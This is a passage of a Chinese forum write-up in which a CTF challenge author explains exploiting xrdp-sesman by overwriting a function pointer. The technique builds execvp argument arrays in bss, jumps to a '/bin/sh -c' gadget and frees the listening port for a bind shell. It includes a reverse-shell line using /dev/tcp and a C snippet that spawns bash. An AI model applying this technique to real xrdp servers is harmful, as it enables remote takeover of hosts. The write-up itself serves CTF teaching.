3
4
5
6
7
8
9
read_bytes = self->trans_recv(self, self->in_s->end, to_read);
if (read_bytes == -1)
{
    ...
}
else
{
    self->in_s->end += read_bytes;
}

以及回顾一下 trans_create 的代码:

1
2
3
4
5
6
7
8
9
struct trans *
trans_create(int mode, int in_size, int out_size)
{
    struct trans *self = (struct trans *) NULL;
 
    self = (struct trans *) g_malloc(sizeof(struct trans), 1);
    ...
    return self;
}

我们可以注意到,如果覆盖 self->trans_recvtrans_create ,那么该函数将会返回一个堆地址给 read_bytes ,而这个变量将会被写入到 self->in_s->end

 

这意味着,我们能够在任意地址处将一个堆地址加入原值。而本题最难的地方就在于如何得到一个指向参数的指针

 

相信读者已经发现了,如果我们将 self->in_s 指向程序自己的 bss 段,并且 self->in_s->end 为 0 的话,就能够稳定的将一个堆地址写入到已知地址处,从而能够得到一个堆地址指针。而接下来的操作就不言而喻了,通过对溢出和一个固定偏移的计算,我们能够在已知地址处得到一个任意字符串的指针

 

那么接下来的操作也属于水到渠成了,在 bss 段上构建一系列的参数地址,从而通过类似于如下操作反弹shell即可:

1
2
3
4
5
6
7
8
9
10
#include<stdlib.h>
#include <errno.h>
#include <stdio.h>
int main()
{
    //bash -i >& /dev/tcp/127.0.0.1/8080 0>&1
    char *ar[]={"bash","-i",">&","/dev/tcp/127.0.0.1/10000","0>&1",0};
    int a=execvp("bash",ar);
    return 0;
}

不过笔者还是建议尽量选择参数较少的实现方案。

此处说明来自第一次撰稿,此时笔者还不知道服务器不能反弹 shell。

例外与死屋

第二法破局:风水 一节中,尽管笔者已经介绍了该利用的可行性,但是其实还有一个最难的点没有解决:

1
self->trans_recv(self, self->in_s->end, to_read);

如果我们希望通过 execvp 去完成利用,那么就需要令 self->in_s->end 能够得到一个指向字符串数组的指针。

 

您或许已经发现了,在上一节中,我们成功得到了一个字符串数组,它的成员是一系列的字符串指针,但是最关键的是,没有任何一个指针能够指向这个字符串数组

 

因此本节笔者最后要介绍的是用以辅佐第二法的操作,它能够让我们在已知地址处写入一个已知地址。

 

通过 IDA ,我们能够找到一个特殊的函数:

1
2
3
4
char *deregister_tm_clones()
{
  return &edata;
}

deregister_tm_clones 将会返回一个 bss 段的地址,如果我们将 self->trans_recv 覆盖为 deregister_tm_clones ,就能够在某个已知地址处加入 &edata

 

但是,我们并不能直接在 &edata 处构建字符串数组,因为要想将堆地址写入,必须保证 self->in_s->end 将会得到 0 ,而在 &edata 处,它相邻的几个成员均具有自己的值,这势必无法写入堆地址。

 

但是,如果 self->in_s->end 处的值能够成为一个偏移,那么只需要在 &edata+offset 处构建字符串数组即可。这么一看似乎很简单,但实际上,要在内存空间中找到这个地方却不太容易,因为可读可写的内存段过小了,且因为要求是 8 字节大小的数值作为偏移,要在内存中寻找高位 7 字节都是 0 ,而低位具有一个单独数值的值其实并不多,最终笔者锁定了这里:

1
2
3
pwndbg> x/10gx 0x410492
0x410492 <list_remove_item@got.plt+2>:    0x3930000000000040    0x0000000000000040
0x4104a2:    0x0000000000000000    0x5217000000000000

只有这里是刚好的,它可读可写,且偏移适中,除此之外只有一处还有类似的地方,但是那里处在 got 表中间,随意覆盖数值很容易导致程序崩溃,因此为了避免意外,只剩下这一个选择了。

一波三折

第一折

前文所述的方案在本地是完全可行的,笔者在本地的 docker 容器中已经能够通过自己的 exp 完成稳定的利用(笔者使用了第二个稳定利用的方案,它要比堆喷更适合调试)。

 

但是,当笔者将这样的容器打包发给主办方后却出现了意外,我发现自己的 exp 没能打通远程服务器在容器。这相当的奇怪,因为我在本地已经无数次尝试过了,它必然是稳定的,但它只在我这稳定......

 

这个问题折磨了我许久,因为它的表现形式有些异常:

  • 本地和远程使用同一个 docker 镜像,但本地能够稳定打通,远程却是稳定打不通。
  • 在远程服务器中,我在 docker 里使用 gdb 进行调试,当我使用了断点,那么将会稳定打通

这个问题的成因十分有些怪异,简单来说,是因为网络延迟的差异。

 

在同一个局域网内,网络的延迟较低,当我尝试调用 self->trans_recv 后,紧接着如果能够立刻收到包,那么它会马上进入到下一个 self->trans_recv 中,这使得我在本地的利用能够稳定成功。

 

但是一旦它到了远程服务器上,由于延迟的存在,当我的第二个数据包抵达服务器,它们已经离开了第一次调用的 trans_check_wait_objs ,并回到了主循环进行轮询。而当它检查某个 trans 时,会因为我需要稳定传递第一个参数,使得它成为一个非 0 的值,这将导致 trans_check_wait_objs 返回错误代码,整个程序将会崩溃退出。

 

因此我前文所述的方案只有一半能成功,因为第一个参数不再稳定传递了,它的第一个字符似乎必须是 0 字节。

事实上,笔者最初希望它能够是 python3,它失败了,于是我转而使用 sh,它仍然失败了,迫不得已,我什么也不放,结果程序并没有崩溃,我只好找其他方法了(但如果是 \x00\x10,它似乎也不会崩溃)。

 

最终,我们能够找到一段特殊的 gadget:

1
2
3
4
5
6
7
8
9
10
.text:000000000040955D                 lea     rax, aReconnectwmSh+0Ch ; "sh"
.text:0000000000409564                 lea     rsi, [rsp+0B68h+var_AC8]
.text:000000000040956C                 mov     [rsp+0B68h+var_AB0], 0
.text:0000000000409578                 mov     [rsp+0B68h+var_AC8], rax
.text:0000000000409580                 lea     rax, aC         ; "-c"
.text:0000000000409587                 lea     rdi, aBinSh     ; "/bin/sh"
.text:000000000040958E                 mov     [rsp+0B68h+var_AC0], rax
.text:0000000000409596                 mov     rax, [rbx+68h]
.text:000000000040959A                 mov     [rsp+0B68h+var_AB8], rax
.text:00000000004095A2                 call    _g_execvp

0x409587 处似乎能够传递一个较为稳定的参数,而 rsi 寄存器可以沿用 self->in_s->end ,只要第二个参数能够稳定传递,那么就能够顺利调用 _g_execvp 完成利用了。

第二折

在第一折以后,远程利用已经被限制了第一个参数必须为 “/bin/sh” ,且必须使用 execvp 的方案了,因此对于堆喷的利用方式来说其实更加郁闷,因为要碰撞的东西更多了。

 

不过布局需要重新做,尤其是使用 execlp3 布局的情况,需要构造类似如下的操作:

1
2
char *ar={"/bin/sh","-c","xxxxx",0};
execvp("/bin/sh",ar);

堆喷似乎仍然可行,但成功率将会略有下降,这对远程来说尤其不友好。因此这一劫相当于限制了很多利用手段。

第三折

第三折是在前面几个难点都被克服以后的最后一个问题。

 

笔者最初的预想是,选手只需要能够构造一个正连,然后通过 nc 拿到 shell 即可,但是由于 CTFd 只能为题目分配一个端口,因此选手只能通过给定的端口打进去,然后再用同一个端口开放正连去连出来。这似乎涉及到一个端口复用问题,类似的解决方法有很多,它并不是本题的主要考点,不过由于笔者自己的很多基础没有学好,在这一步上倒是被卡了很多时间。

 

在这里介绍一下笔者使用的方法:

 

首先通过 sh 的 -c 参数允许任意代码执行,笔者发现,通过这种方法打开的进程并不属于它的子进程,因此我们可以在该进程里直接调用 kill 将原先占用端口的那个进程关掉,然后自己绑定到那个端口上即可。

通过 execvp 开启的 sh 进程与原本的 xrdp-sesman 其实算是同一个进程,它继承了相同的属性,但是通过 -c 参数后跟上 python3,它将会另外启动一个 python 进程,该进程并不是 sh 的子进程,通过 os.popen("kill pid") 可以直接释放端口。

 

最后的操作不言而喻,因为程序默认绑定 3350 端口,它会通过 docker 转发出来,因此正连的端口号写 3350 即可。

后日谈

后日谈1:

 

写于笔者提交题目以前。

 

不过笔者其实本来还在本题使了一点坏,您看,在众多反弹shell的命令里,似乎只有 python 能够在三个参数里完成利用,而如果用 g_execlp3 和堆喷就能够完成利用的话,似乎就有点太没意思了,于是打算把环境里的 python3 直接删掉,不过最后笔者连 exp 都写完了,环境也搭好了,实在懒得再改了,因此作罢,就这样吧。

 

后日谈2:

 

写于笔者提交题目以后,此为添加部分。

 

笔者发现,为了解决那些麻烦的坑点所做的绕过实属不易,并且也发现 execlp3 将不在可用,在这个月四号提交的题目,直到 7 号晚上才终于解决了所有远程部署上的问题。

 

笔者个人认为题目并没有很难,但是构造 payload 的过程却很有意思。将一个看上去有条件的漏洞转为一个无条件的利用;将一个只能在本地提权的漏洞转为了远程的0click漏洞,不觉得这很酷吗?

注:
此处的本地提权是指最初的利用方案,通过创建一个可执行文件,让进程直接执行文件来避开参数控制的难点;而0click则指,只需要机器打开该服务,就可以直接发包拿下主机。
有条件漏洞指的是需要在源代码上允许进程建立大量的连接;无条件漏洞指的是可以直接使用未经修改的源代码编译出的二进制程序完成利用。
(不知道自己的理解是否出错,若是如此,还望指正。)

 

后日谈3:

 

题目名称 “The House of the Dead” ,并非直接搜索出来的射击游戏,而是指费奥多尔·陀思妥耶夫斯基所著的一本名为《死屋手记》的书,书名的英译为这个名字。我认为它所描述的某些状态很符合我在制作本题时的一些心理,以下为摘抄:

这乐趣正是出于对自己堕落的十分明确的意识:是由于你自己也感到你走到了最后一堵墙;这很恶劣,但是舍此又别无他途;你已经没有了出路,你也永远成不了另一种人;即使还剩下点时间和剩下点信心可以改造成另一种人,大概你自己也不愿意去改造:即使愿意,大概也一事无成,因为实际上,说不定也改造不了任何东西。

 

最后,欢迎加入星盟安全团队。


[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

最后于 2022-12-2 12:03 被kanxue编辑 ,原因:
上传的附件:
收藏
免费 5
打赏
分享
最新回复 (2)
雪    币: 8126
活跃值: (6132)
能力值: ( LV12,RANK:418 )
在线值:
发帖
回帖
粉丝
Tokameine 3 2022-11-4 00:10
2
1

题目环境已修正

最后于 2022-11-9 11:28 被Tokameine编辑 ,原因:
雪    币: 38321
活跃值: (19530)
能力值: (RANK:350 )
在线值:
发帖
回帖
粉丝
kanxue 8 2022-11-14 15:56
3
0
第七题 广厦万间
游客
登录 | 注册 方可回帖
返回